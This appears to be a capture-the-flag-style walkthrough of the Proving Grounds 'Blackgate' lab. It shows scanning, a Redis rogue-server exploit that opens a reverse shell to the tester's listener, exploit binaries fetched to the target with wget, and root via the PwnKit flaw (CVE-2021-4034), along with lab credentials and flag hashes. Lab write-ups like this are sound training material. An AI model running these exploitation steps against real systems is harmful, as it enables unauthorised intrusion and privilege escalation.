Summary #
On port 6379 is a Redis key-value store 4.0.14 running. There is a exploit available which provides initial access as the prudence
user. Running linpeas.sh
show the target is vulnerable for pwnkit (CVE-2021-4034). Using pwnkit
we escalate privilege to the root
user.
Specifications #
- Name: BLACKGATE
- Platform: PG PRACTICE
- Points: 25
- Difficulty: Hard
- OS: Linux blackgate 5.8.0-63-generic #71-Ubuntu SMP Tue Jul 13 15:59:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.182.176
- OFFSEC provided credentials:
prudence:BatmanAndRobinForever1939!!!!
- HASH:
local.txt
:3cb0f80c93e1c4b9ab7f30a0581a88f7
- HASH:
proof.txt
:6b24618221bc1854bbf5d6e5b102df83
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir blackgate && cd blackgate && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 18 20:57 .
drwxrwxr-x 34 kali kali 4096 Aug 18 20:57 ..
drwxrwxr-x 2 kali kali 4096 Aug 18 20:57 enum
drwxrwxr-x 2 kali kali 4096 Aug 18 20:57 exploits
drwxrwxr-x 2 kali kali 4096 Aug 18 20:57 files
drwxrwxr-x 2 kali kali 4096 Aug 18 20:57 tools
drwxrwxr-x 2 kali kali 4096 Aug 18 20:57 uploads
## set bash variable
ip=192.168.182.176
## ping target to check if it's online
ping $ip
PING 192.168.182.176 (192.168.182.176) 56(84) bytes of data.
64 bytes from 192.168.182.176: icmp_seq=1 ttl=61 time=18.8 ms
64 bytes from 192.168.182.176: icmp_seq=2 ttl=61 time=22.2 ms
^C
--- 192.168.182.176 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.788/20.494/22.201/1.706 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.182.176:22
Open 192.168.182.176:6379
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 20:58 CEST
Initiating Ping Scan at 20:58
Scanning 192.168.182.176 [4 ports]
Completed Ping Scan at 20:58, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:58
Completed Parallel DNS resolution of 1 host. at 20:58, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:58
Scanning 192.168.182.176 [2 ports]
Discovered open port 22/tcp on 192.168.182.176
Discovered open port 6379/tcp on 192.168.182.176
Completed SYN Stealth Scan at 20:58, 0.07s elapsed (2 total ports)
Nmap scan report for 192.168.182.176
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-18 20:58:31 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
6379/tcp open redis syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
6379/tcp open redis syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,6379
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,6379 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 37:21:14:3e:23:e5:13:40:20:05:f9:79:e0:82:0b:09 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDErzUX3Jeg2oRWhqelAA3/QrsFYoyDVaXbJK0ghZTX1i3mZY8SXopUZC09JD/6S+Ye+nFW2/6rnXHltIVWEALmPDrlDOV5m+LGujzXqc5YJcylNnwSjz9TjCHlPa+PrMdyp2NyT+Wt2w6jhVWA1sowq8R4ZDkqvpQwz9rUOVk5IRiV6fgdEuHBBXKQZu9S00iPNC5hhfmclk5k2dPtFqQRlosZfjDjv5E8Zo8YwLGonmWciNQQB8DWX47R08noPMseQMYR707ABcIgx4+DKMZ7/HlOzqwoqFdyvMSdPf5lz+cPG/aI0N6qua80uxbXg0rvMNQuZd73d5jA+Yp3eIkI4lHQqjXO4B0Gbl4lpcHTWCdUI93dLbBy13J0NdTG+vqkXszDBXr19rWaD+yeXg8FQt5ViHr7N/Pr77zFjOiAq4AjRNt6j8e+kX0Cqwov1RwUc4R1JPfmEIZqm8Ds/z+jDhkhLoJP4yjE8xNHhOz8lUk+bZh3zGuS3+97Mrkh3Rs=
| 256 b9:8d:bd:90:55:7c:84:cc:a0:7f:a8:b4:d3:55:06:a7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPed4/WiZ+RjcALVwQnLf74Byu1yb40zjCfDT+DBa4jiTzciU5Ql1fhEzanZGgt5VuK0y5ZAgG7f54yL9iVcaU8=
| 256 07:07:29:7a:4c:7c:f2:b0:1f:3c:3f:2b:a1:56:9e:0a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJLFhMCuSltbhF2Mj0Xz0A3ZSEhcu8LOF9hX8bqGirVH
6379/tcp open redis syn-ack ttl 61 Redis key-value store 4.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
6379/tcp open redis syn-ack ttl 61 Redis key-value store 4.0.14
In the NMAP output it shows on port 6379 a Redis key-value store 4.0.14. When we search on the internet for an existing exploit we can find: https://github.com/n0b0dyCN/redis-rogue-server?source=post_page-----49920d4188de---------------------------------------. When we setup a listener and run this exploit we get initial access as the prudence
user in the /tmp
directory.
./redis-rogue-server.py --rhost=$ip --rport=6379 --lhost=192.168.45.204
/home/kali/hk/offsec/pg/practice/blackgate/files/redis-rogue-server/./redis-rogue-server.py:11: SyntaxWarning: invalid escape sequence '\ '
| ___ \ | (_) | ___ \ / ___|
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
[info] TARGET 192.168.182.176:6379
[info] SERVER 192.168.45.204:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r
[info] Open reverse shell...
Reverse server address: 192.168.45.204
Reverse server port: 9001
[info] Reverse shell payload sent.
[info] Check at 192.168.45.204:9001
[info] Unload module...
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.182.176] 33564
## print current user
whoami
prudence
## print current working directory
pwd
/tmp
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/prudence/local.txt
## print `local.txt`
cat /home/prudence/local.txt
3cb0f80c93e1c4b9ab7f30a0581a88f7
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
prudence@blackgate:/tmp$ export TERM=xterm
prudence@blackgate:/tmp$ stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::7ba9:3aa7:1247:c167/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## change directory
prudence@blackgate:/tmp$ cd /var/tmp
prudence@blackgate:/var/tmp$
## download `linpeas.sh`
prudence@blackgate:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-18 19:34:16-- http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 933.76K --.-KB/s in 0.1s
2025-08-18 19:34:16 (7.22 MB/s) - 'linpeas.sh' saved [956174/956174]
## set the execution bit
prudence@blackgate:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
prudence@blackgate:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit, upload to the target and run it to escalate our privileges to root
.
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::7ba9:3aa7:1247:c167/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## change directory
cd uploads
## download `pwnkit`
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## in target:
## download `pwnkit`
prudence@blackgate:/var/tmp$ wget http://192.168.45.204/pwnkit
--2025-08-18 19:38:31-- http://192.168.45.204/pwnkit
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'pwnkit'
pwnkit 0%[ pwnkit 100%[=============================================================================================================>] 17.62K --.-KB/s in 0.02s
2025-08-18 19:38:31 (912 KB/s) - 'pwnkit' saved [18040/18040]
## set execution bit on `pwnkit`
prudence@blackgate:/var/tmp$ chmod +x pwnkit
## execute `pwnkit`
prudence@blackgate:/var/tmp$ ./pwnkit
root@blackgate:/var/tmp#
## print `proof.txt`
root@blackgate:/var/tmp# cat /root/proof.txt
6b24618221bc1854bbf5d6e5b102df83
References #
[+]